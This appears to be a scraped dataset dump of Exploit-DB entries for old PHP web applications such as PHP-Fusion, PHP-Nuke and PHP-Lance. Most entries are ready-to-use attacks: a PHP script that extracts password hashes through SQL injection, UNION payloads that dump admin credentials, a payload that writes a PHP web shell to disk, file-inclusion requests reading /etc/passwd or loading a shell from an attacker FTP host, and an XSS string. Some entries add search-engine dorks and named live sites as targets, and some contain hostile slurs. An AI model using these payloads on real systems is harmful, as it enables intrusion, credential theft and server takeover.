deardaniel/secdata-raw huggingface dataset:
Exploit-DB #4475
Description: PHP-Fusion module Expanded Calendar 2.x - SQL Injection
Type: webapps
Platform: php
Date: 2007-10-01
Author: Matrix86

Exploit:
<?php
print_r("
/********************************************************
*      Expanded Calendar 2.x (PHP-Fusion module)        *
*      User pass disclosure exploit                     *
*      Found by Matrix86 of Rbt-4 Crew                  *
*      Site: www.rbt-4.net                              *
*      Mail: info[at]rbt-4[dot]net                      *
*********************************************************
* Bug found in                                          *
*      /infusions/calendar_events_panel/show_single.php *
* Line:                                                 *
*      27                                               *
* Vulnerability type: Sql injection                     *
* Unpatched!                                            *
* Patch:                                                *
* Line 26:                                              *
* if(!isset(\$sel)||!isNum(\$sel)) fallback(\"index.php\");
*
********************************************************/
");

if($argc < 4) die("Usage: ".$argv[0]." [site] [path] [user_id]\nExample: ".$argv[0]." localhost /php-fusion/ 1\n");

ini_set("max_execution_time",0);
ini_set("default_socket_timeout",4);

$host    = $argv[1];
$path    = $argv[2];
$user_id = $argv[3];
$port    = 80;

$sqlinit = "infusions/calendar_events_panel/show_single.php?sel=-1/**/UNION/**/SELECT/**/0,0,user_password,user_name,0,0,0,0,0,0,0,0/**/FROM/**/fusion_users/**/WHERE/**/user_id=";
$sqlend = "/*";

function send($req){
	global $host,$port;
	
	$ip = gethostbyname($host);
	if(stristr($host,$ip)) die("Error: Host not found\n");
	
	if(!($sock = fsockopen($ip,$port))) die("Error: unable open sock!\n");
	
	fputs($sock,$req);
	$response = "";
	while (!feof($sock)) {
		$response .= fgets ($sock,128);
	}
	fclose ($sock);
	return $response;
}

$packet = "GET ".$path.$sqlinit.$user_id.$sqlend." HTTP/1.0\r\n";
$packet.= "User-Agent: Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.7 (like Gecko)\r\n";
$packet.= "Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
echo "Packet:\n".$packet."\n\n";

$resp = send($packet);
$temp  = explode("<td colspan='2'><font size='4'><u>",$resp);
$temp2 = explode("<td colspan='3' style='border-style: solid; border-width: 1px; padding-left: 4px; padding-right: 4px; padding-top: 1px; padding-bottom: 1px'><font style='font-size: 11px'>",$temp[1]);
$temp3 = explode("</td>",$temp2[1]);
$username = $temp3[0];

if(isset($temp[1])) {
	$md5 = substr($temp[1],0,32);
	echo "Id user:  ".$user_id."\nUsername: ".$username."\nPassword: ".$md5."\n";
}
else echo("Bug Fixed..sorry!\n");

exit();
?>

# milw0rm.com [2007-10-01]
Exploit-DB #3639
Description: PHP-Fusion Module topliste 1.0 - 'cid' SQL Injection
Type: webapps
Platform: php
Date: 2007-04-02
Author: Mehmet Ince

Exploit:
--------------------------------

PHP-FUSION topliste Module (cid) Remote SQL Injection Vuln

--------------------------------

Bulan: xoron - unique

xoron.biz 

--------------------------------

Exploit: 

index.php?cid=-1/**/UNION/**/SELECT/**/0,1,2,3,user_name,user_password,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20/**/FROM/**/fusion_users/*

--------------------------------

Exapmle: http://www.321spil.dk/infusions/topliste/

--------------------------------

Google Dork:
infusions/topliste/   990 sites:)

--------------------------------

Ekin0x  / -->  evilc0der.org  <--

--------------------------------

# milw0rm.com [2007-04-02]
Exploit-DB #16004
Description: PHP-Fusion Teams Structure Infusion Addon - SQL Injection
Type: webapps
Platform: php
Date: 2011-01-17
Author: Saif

Exploit:
# Exploit Title: PHP-fusion Team Structure Infusion (All versions) SQL
injection
# Date: 16-1-2010
# Author: Saif El-Sherei
# Software Link:
http://www.php-fusion.co.uk/infusions/addondb/view.php?addon_id=120
# Version: PHP-fusion (7.01..03), TeamStructure Infusion(all versions)
# Tested on: Firefox 3.0.15, , IE 8

Info:

Plugin that allows the site to have a list of all teams / clubs (eg football
or hockey) with the playing staff, displaying the standings with the
position of command or a list of the best strikers of a championship.

Details:

the "team_id" variable is not probably sanitized before using in SQL query
in "team.php", the attack can be elevated as shown in second POC to bypass
PHP-Fusion's GET variable XSS filter. by using back-ticks instead of
brackets used in any php function  in that case shell_exec().

Condition:

magic_quotes_gpc = Off

POC:


http://127.0.0.1/php-fusion/files/infusions/teams_structure/team.php?team_id=-1'
union select
'1','2','3','4','5','6','7','8','9','10','11','12','13','14','15','16','17

http://127.0.0.1/php-fusion/files/infusions/teams_structure/team.php?team_id=-1'
union select '1','2','<?php $out=`id`;echo $out;
?>','4','5','6','7','8','9','10','11','12','13','14','15','16','17' into
outfile '/var/www/php-fusion/files/images/test.php

Regards,

Saif El-Sherei

OSCP
Exploit-DB #22953
Description: PHP-Gastebuch 1.60 - Information Disclosure
Type: webapps
Platform: php
Date: 2003-07-24
Author: Jim Pangalos

Exploit:
source: https://www.securityfocus.com/bid/8270/info

PHP-Gastebuch has been reported prone to multiple information disclosure vulnerabilities. The issue presents itself because the affected software fails to sufficiently control access to sensitive files contained in the PHP-Gastebuch installation.

It has been reported that an attacker may make a request for several sensitive PHP-Gastebuch files, and in doing so reveal potentially sensitive information including administrative MD5 password hashes.

Information collected in this way may be used to mount further attacks against the affected system.

http://www.example.com/guestbook/guestbookdat 
http://www.example.com/guestbook/pwd
Exploit-DB #3669
Description: PHP-Generics 1.0.0 Beta - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2007-04-05
Author: bd0rk

Exploit:
                  --------------------------------------------------------
                 
                                           
                   php-generics 1.0 Remote File Inclusion Vulnerabilities
                 
                  --------------------------------------------------------


Software: php-generics 1.0Beta

Vendor: http://ie.archive.ubuntu.com/sourceforge/p/ph/php-generics/php-generics-1.0.0-beta.zip
        http://sourceforge.net/projects/php-generics/

Bugfounder: bd0rk

Vulnerable files: include.php, /dbcommon/include.php, /exception/include.php

[+]Exploit 1: http://[target]/[directory]/include.php?_APP_RELATIVE_PATH=[ShellCode]

[+]Exploit 2: http://[target]/[directory]/dbcommon/include.php?_APP_RELATIVE_PATH=[ShellCode]

[+]Exploit 3: http://[target]/[directory]/exception/include.php?_APP_RELATIVE_PATH=[ShellCode]

Problem: $_APP_RELATIVE_PATH is not declared before include_once and no configfile is aviable

Greetings: str0ke, TheJT, HaSSPappeL ;-)

Website1: www.soh-crew.it.tt

Website2: www.hackschool.dl.am

#The 18 years old, german Hacker bd0rk

# milw0rm.com [2007-04-05]
Exploit-DB #9647
Description: PHP-IPNMonitor - 'maincat_id' SQL Injection
Type: webapps
Platform: php
Date: 2009-09-11
Author: noname

Exploit:
[+]
[+] SQL injection vulnerability
[+] PHP-IPNMonitor - sell digital downloads online
[+] Download : http://www.withinweb.com/phpipnmonitor/
[+] noname[at]antisecurity.org
 
[+] Bugs = index.php?maincat_id=
 
[+] exploit = -null+union+select+concat(username,0x3a,userpassword)+from+ipn_tblpasswords--


[+] Example
[+]        : http://localhost/[patch]/index.php?maincat_id=-null+union+select+concat(username,0x3a,userpassword)+from+ipn_tblpasswords--



[+] Demo 
[+]        : http://www.beardsmith.com/ipnmonitor/index.php?maincat_id=-null+union+select+concat(username,0x3a,userpassword)+from+ipn_tblpasswords--
[+]	   : http://www.earrelaphant.com/ipnmonitor/cart/index.php?maincat_id=-null+union+select+concat(username,0x3a,userpassword)+from+ipn_tblpasswords--



[+] colek-colek 
[+]             : Antisecurity[dot]Org www.MainHack.net www.ServerIsDown.org
[+]               Jack-, Vrs_hCk, OoN_Boy, NoGe, zxvf, Yadoy666, s3t4n, r3v4n_b4st4rd, pizzyroot, em|nem, s4va, kecemplungkalen, xr00tb0y
[+]               xshadow, Madonk, Tante Angela Chang, IrcMafia
[+]               Indonesian Coder 
[+]               Don Tukulesto, M3NW5, m364tr0n, cyb3r_tr0n
[+]
[+] crotz        
[+]             : rm -rf malingsia   
[+]

# milw0rm.com [2009-09-11]
Exploit-DB #6605
Description: PHP-Lance 1.52 - 'catid' SQL Injection
Type: webapps
Platform: php
Date: 2008-09-27
Author: InjEctOr5

Exploit:
                          ||          ||   | ||        
                   o_,_7 _||  . _o_7 _|| 4_|_||  o_w_, 
                  ( :   /    (_)    /           (   .  
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
|     _                   __           __       __          ______     |
|   /' \            __  /'__`\        /\ \__  /'__`\       /\  ___\    |
|  /\_, \    ___   /\_\/\_\L\ \    ___\ \ ,_\/\ \/\ \  _ __\ \ \__/    |
|  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\ \___``\  |
|     \ \ \/\ \/\ \ \ \ \/\ \L\ \/\ \__/\ \ \_\ \ \_\ \ \ \/ \/\ \L\ \ |
|      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\  \ \____/ |
|       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/   \/___/  |
|                  \ \____/ >> Kings of injection                      |
|                   \/___/                                             |
|                                                                      |
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|




<<!>> Found by :  Cyb3r-1sT

<<!>> C0ntact  : cyb3r-1st [at] hotmail.com ..$<->$.. t3tto0 [at] yahoo.com
                   
<<!>> Groups   : InjEctOr5 T3am 


=======================================================
+++++++++++++ R3membeR Kings of injection +++++++++++++
=======================================================


<<->> script    :  PHP-Lance v1.52
 
<<->> Demo site : www.scriptdemo.com/php-lance


=======================================================
++++++++++++++++ pWning israel fuckers ++++++++++++++++
=======================================================


<<->> D0rk    : N0-WaY

<<->> Exploit :

   >>>>  www.site.me/patch/show.php?catid=-9999'+union+select+concat(user(),0x3a,database(),0x3a,version())/*

=======================================================
+++++++++++++++++++++++ Greetz ++++++++++++++++++++++++
=======================================================

<<->> InjEctOr5 TeaM   

<<->> All freind and All muslims

# milw0rm.com [2008-09-27]
Exploit-DB #42533
Description: PHP-Lance 1.52 - 'subcat' SQL Injection
Type: webapps
Platform: php
Date: 2017-08-21
Author: Ihsan Sencan

Exploit:
# # # # #
# Exploit Title: PHP-Lance 1.52 - 'subcat' Parameter SQL Injection
# Dork: N/A
# Date: 21.08.2017
# Vendor Homepage: http://www.scriptdemo.com/
# Software Link: http://www.scriptdemo.com/details/phplance/
# Demo: http://www.scriptdemo.com/php-lance/
# Version: 1.52
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
#
# Proof of Concept:
# 
# http://localhost/[PATH]/show.php?catid=1&subcat=[SQL]
#
# -1'+unIon(SELEct+0x283129,0x283229,0x283329,0x283429,0x283529,0x283629,0x283729,(/*!00000SeLect*/(@x)/*!00000fRom*/(/*!00000select*/(@x:=0x00),(@running_number:=0),(@tbl:=0x00),(/*!00000select*/(0)/*!00000from*/(information_schema.columns)/*!00000where*/(table_schema=database())and(0x00)in(@x:=/*!00000CoNcaT*/(@x,0x3c62723e,if((@tbl!=table_name),/*!00000CoNcaT*/(0x3c2f6469763e,LPAD(@running_number:=@running_number%2b1,2,0x30),0x3a292020,0x3c666f6e7420636f6c6f723d7265643e,@tbl:=table_name,0x3c2f666f6e743e,0x3c62723e,(@z:=0x00),0x3c[PII_REDACTED]74796c653d226d617267696e2d6c6566743a333070783b223e),0x00),lpad(@z:=@z%2b1,2,0x30),0x3a292020,0x3c666f6e7420636f6c6f723d626c75653e,column_name,0x3c2f666f6e743e))))x),0x283929,0x28313029)--+-
#
# Etc...
# # # # #
Exploit-DB #9444
Description: PHP-Lance 1.52 - Multiple Local File Inclusions
Type: webapps
Platform: php
Date: 2009-08-18
Author: jetli007

Exploit:
#############################
Name : PHP-Lance v1.52
price US $349.95 :p
Demo : http://www.scriptdemo.com/php-lance/
############################# 

------------------------------------------------------------------------

_________________________________                                    
|Author : jetli007                               
|alkhari9007[AT]gmail[DOT]com        
|www.vxx9.cc                                
|Thx&Greets to: 5D;taishi;dr.php;!bad boy!;psycho;ABK;reno 
________________________________


-------------------------------------------------------------------------
PoC's:

   - http:// 127.0.0.1 / [path] /show.php?catid=5&sch=yellow&language=[LFI]
   - http:// 127.0.0.1 / [path] /show.php?catid=5&sch=yellow&language=[LFI]
   - http:// 127.0.0.1 / [path] /advanced_search.php?in=[LFI]

 LiveDemo:

   - http://www.scriptdemo.com/php-lance/show.php?catid=5&sch=yellow&language=../../../../../../../../../../../../../etc/passwd%00

   - http://www.scriptdemo.com/php-lance/show.php?catid=5&sch=yellow&language=../../../../../../../../../../../../../etc/passwd%00
  
   - http://www.scriptdemo.com/php-lance/advanced_search.php?in=../../../../../../../../../../../../../etc/passwd%00
-------------------------------------------------------------------------

# milw0rm.com [2009-08-18]
Exploit-DB #3374
Description: PHP-MIP 0.1 - 'top.php?laypath' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-02-25
Author: GoLd_M

Exploit:
*********************************************************************
**********************************************************************
PHP Module Implementation(top.php laypath)Remote File Include Vul   ^
**********************************************************************
**********************************************************************
Downlaoad S : http://sourceforge.net/projects/phpmip/               ^
**********************************************************************
**********************************************************************
Author: GolD_M = [Mahmood_ali]  &&  Contact: HackEr_@W.Cn           ^
**********************************************************************
**********************************************************************
In:  /[path]/top.php                                                ^
**********************************************************************
**********************************************************************
Vulnerable Code:                                                    ^
**********************************************************************
**********************************************************************
include("$laypath/body.php");    Line : 23                          ^
**********************************************************************
**********************************************************************
Exploit:                                                            ^
**********************************************************************
**********************************************************************
http://Victim.Com/top.php?laypath=[Shell]                           ^
**********************************************************************
**********************************************************************

# milw0rm.com [2007-02-25]
Exploit-DB #10876
Description: PHP-MySQL-Quiz - SQL Injection
Type: webapps
Platform: php
Date: 2009-12-31
Author: Hussin X

Exploit:
#    PHP-MySQL-Quiz SQL Injection Vulnerability

#
#    Author: Hussin X

#    Home :  www.iq-ty.com<http://www.iq-ty.com>

#    email:  darkangel_g85[at]Yahoo[DoT]com


##########################################################
#    HomE script : http://www.widgetmonkey.com/

#    Download    : http://www.getfreesofts.com/script_download.php?id=18744&id_1=881

#    DorK : inurl:quizinfo.php



Exploit:

http://www.site.com/Script/editquiz.php?id=-1+union+select+1,concat_ws(0x3a,user(),version(),database()),3,4,5,6,7,8--


IQ-SecuritY FoRuM
Exploit-DB #31805
Description: PHP-Nuke 'KuiraniKerim' Module - 'sid' SQL Injection
Type: webapps
Platform: php
Date: 2008-05-17
Author: Lovebug

Exploit:
source: https://www.securityfocus.com/bid/29261/info

The 'KuiraniKerim' module for PHP-Nuke is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/modules.php?name=KuraniKerim&op=TurkceNuke_Com_Islami_Moduller_Destek_Sitesi&sid=-1%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2F%2A%2A%2F0%2Cpwd,aid,2,3%2F%2A%2A%2Ffrom%2F%2A%2A%2Fnuke_authors%2F%2A%2A%2Fwhere%2F%2A%2A%2Fradminsuper%3D1%2F%2A
Exploit-DB #31332
Description: PHP-Nuke 'Seminars' Module - 'Filename' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-03-04
Author: The-0utl4w

Exploit:
source: https://www.securityfocus.com/bid/28089/info

The PHP-Nuke 'Seminars' module is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

Exploiting this issue may allow an unauthorized remote user to view files and execute local scripts in the context of the webserver process.

http://www.example.com/autohtml.php?filename=../../../../../../../../../../../../../../../etc/passwd
Exploit-DB #39200
Description: PHP-Nuke 'Submit_News' Component - SQL Injection
Type: webapps
Platform: php
Date: 2014-05-24
Author: ali ahmady

Exploit:
source: https://www.securityfocus.com/bid/67656/info

PHP-Nuke is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

An attacker can exploit this issue to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

PHP-Nuke 8.3 is vulnerable; other versions may also be affected. 

http://www.example.com/modules.php?name=Submit_News&subject=whatever&topics[]=[SQLi]
Exploit-DB #12525
Description: PHP-Nuke - 'friend.php' Module SQL Injection
Type: webapps
Platform: php
Date: 2010-05-07
Author: CMD

Exploit:
# Exploit Title: [PHP-Nuke 'friend.php' Module Remote SQL Injection]
# Date: [05.05.2010]
# Author: [CMD]
# Contact : cemede@ilkposta.com
# Version: [all version]

=-==-==-==-==-==-==-==C==M==D==-==-==-==-==-==-==-==-==-==-==-=
# Code : [/**/and/**/1=0/**/union/**/select/**/group_concat(aid,0x3a,pwd)/**/from/**/authors/*]

=-==-==-==-==-==-==-==C==M==D==-==-==-==-==-==-==-==-==-==-==-=
# Dork : inurl:friend.php?op=FriendSend

=-==-==-==-==-==-==-==C==M==D==-==-==-==-==-==-==-==-==-==-==-=
Example1: www.target.com/friend.php?op=FriendSend&sid=392/**/and/**/1=0/**/union/**/select/**/group_concat(aid,0x3a,pwd)/**/from/**/authors/**/where/**/radminsuper=1/*
Example1: www.target.com/friend.php?op=FriendSend&sid=392/**/and/**/1=0/**/union/**/select/**/group_concat(aid,0x3a,pwd)/**/from/**/nuke_authors/**/where/**/radminsuper=1/*
=-==-==-==-==-==-==-==C==M==D==-==-==-==-==-==-==-==-==-==-==-=

# Th@nks : AmeN, MUS4LLAT, Kayahan, Sinaritx, JacKaL, Qas&#305;m, Metrp0l, Despot...

# Says : Hemso bak bi dene bug daha xD ...
Exploit-DB #3512
Description: PHP-Nuke - 'iframe.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-03-18
Author: Cold Zero

Exploit:
######################################################
#
# iFRAME for PhpNuke (iframe.php) Remote File Include Vulnerabilities
#
######################################################
#
# script :http://www.desarrollonuke.org
#         http://up.9q9q.net/up/index.php?f=uTRRQnIjG
#
######################################################
#
# file :  iframe.php
#
######################################################
#
# Dork : "/nuke/iframe.php"
#
######################################################
#
# Found by & Contact : Cold z3ro , Cold-z3ro@hotmail.com ,
http://hack-teach.com/
#
######################################################
#       if(substr($file,-4)!=".htm" && substr($file,-5)!=".html" &&
substr($file,-4)!=".php"){
#                       echo "ERROR: ONLY html, htm or php FILES";
#                       CloseTable();
#               } else {
#               include ($file);
#               }
#
######################################################
#
# exploit :
http://www.example.com/nuke_path/iframe.php?file=ftp://user:pass@evilsite.com/public_html/shell.html (or) .htm
#
######################################################


----  GreeTz: |MoHaNdKo|  |Cold One|  |Cold ThreE| |Viper Hacker| |The Wolf
KSA| |o0xxdark0o| |OrGanza| |H@mLiT| |Snake12| |Root Shell|
             |Metoovit| |Fucker_net| |Rageb| |CoDeR| |HuGe| |Str0ke|
|Dr.TaiGaR| |BLacK HackErD| |JEeN HacKer| |Nazy L!unx| |KURTEFENDY|
             |Spid1r Net| |Big Hacker| |Hacccr| |hacoor| || |Geniral C|
|Mr.TyrAnT| |Zax| |Zooz| | Al 3afreat | |The-Falcon-Ksa|
             | The Sniper | . ||| Team Hell ||| | DearMan | |Pro Hacker| |
020 | | abdulla00 " alz3eem" | | The_Viper |
             All i know


#Big Thx For : www.4azhar.com , Viva My HomeLand Palestine

# milw0rm.com [2007-03-18]
Exploit-DB #28294
Description: PHP-Nuke - 'INP modules.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-07-28
Author: l2odon

Exploit:
source: https://www.securityfocus.com/bid/19208/info

PHPNuke INP is prone to a cross-site scripting vulnerability that affects the 'modules.php' script.

The specific version affected is currently unknown.

http://www.example.com/[path]/modules.php?name=Downloads&op=search&query=><script>alert('ARIA')</script><
Exploit-DB #11631
Description: PHP-Nuke - 'user.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-03-04
Author: Easy Laster

Exploit:
----------------------------Information------------------------------------------------
+Name : PhP-Nuke user.php SQL Injection
+Autor : Easy Laster
+Date   : 04.03.2010
+Script  : PhP-Nuke
+Download : its a old version http://phpnuke.org/
+Price : 12,00$
+Language :PHP
+Discovered by Easy Laster
+Security Group 4004-Security-Project
+Greetz to Team-Internet ,Underground Agents
+And all Friends of Cyberlive : R!p,Eddy14,Silent Vapor,Nolok,
Kiba,-tmh-,Dr Chaos,HANN!BAL,Kabel,-=Player=-,Lidloses_Auge,
N00bor,novaca!ne.

---------------------------------------------------------------------------------------
                                                                                     
 ___ ___ ___ ___                         _ _           _____           _         _   
| | |   |   | | |___ ___ ___ ___ _ _ ___|_| |_ _ _ ___|  _  |___ ___  |_|___ ___| |_ 
|_  | | | | |_  |___|_ -| -_|  _| | |  _| |  _| | |___|   __|  _| . | | | -_|  _|  _|
  |_|___|___| |_|   |___|___|___|___|_| |_|_| |_  |   |__|  |_| |___|_| |___|___|_|  
                                              |___|                 |___|            


----------------------------------------------------------------------------------------
+Vulnerability : http://www.site.com/phpnuke/user.php?op=userinfo&uname=
+Exploitable   : http://www.site.com/phpnuke/user.php?op=userinfo&uname='+union+select
+1,2,version(),4,5,6,7,8,9,10,11,12,13--+
-----------------------------------------------------------------------------------------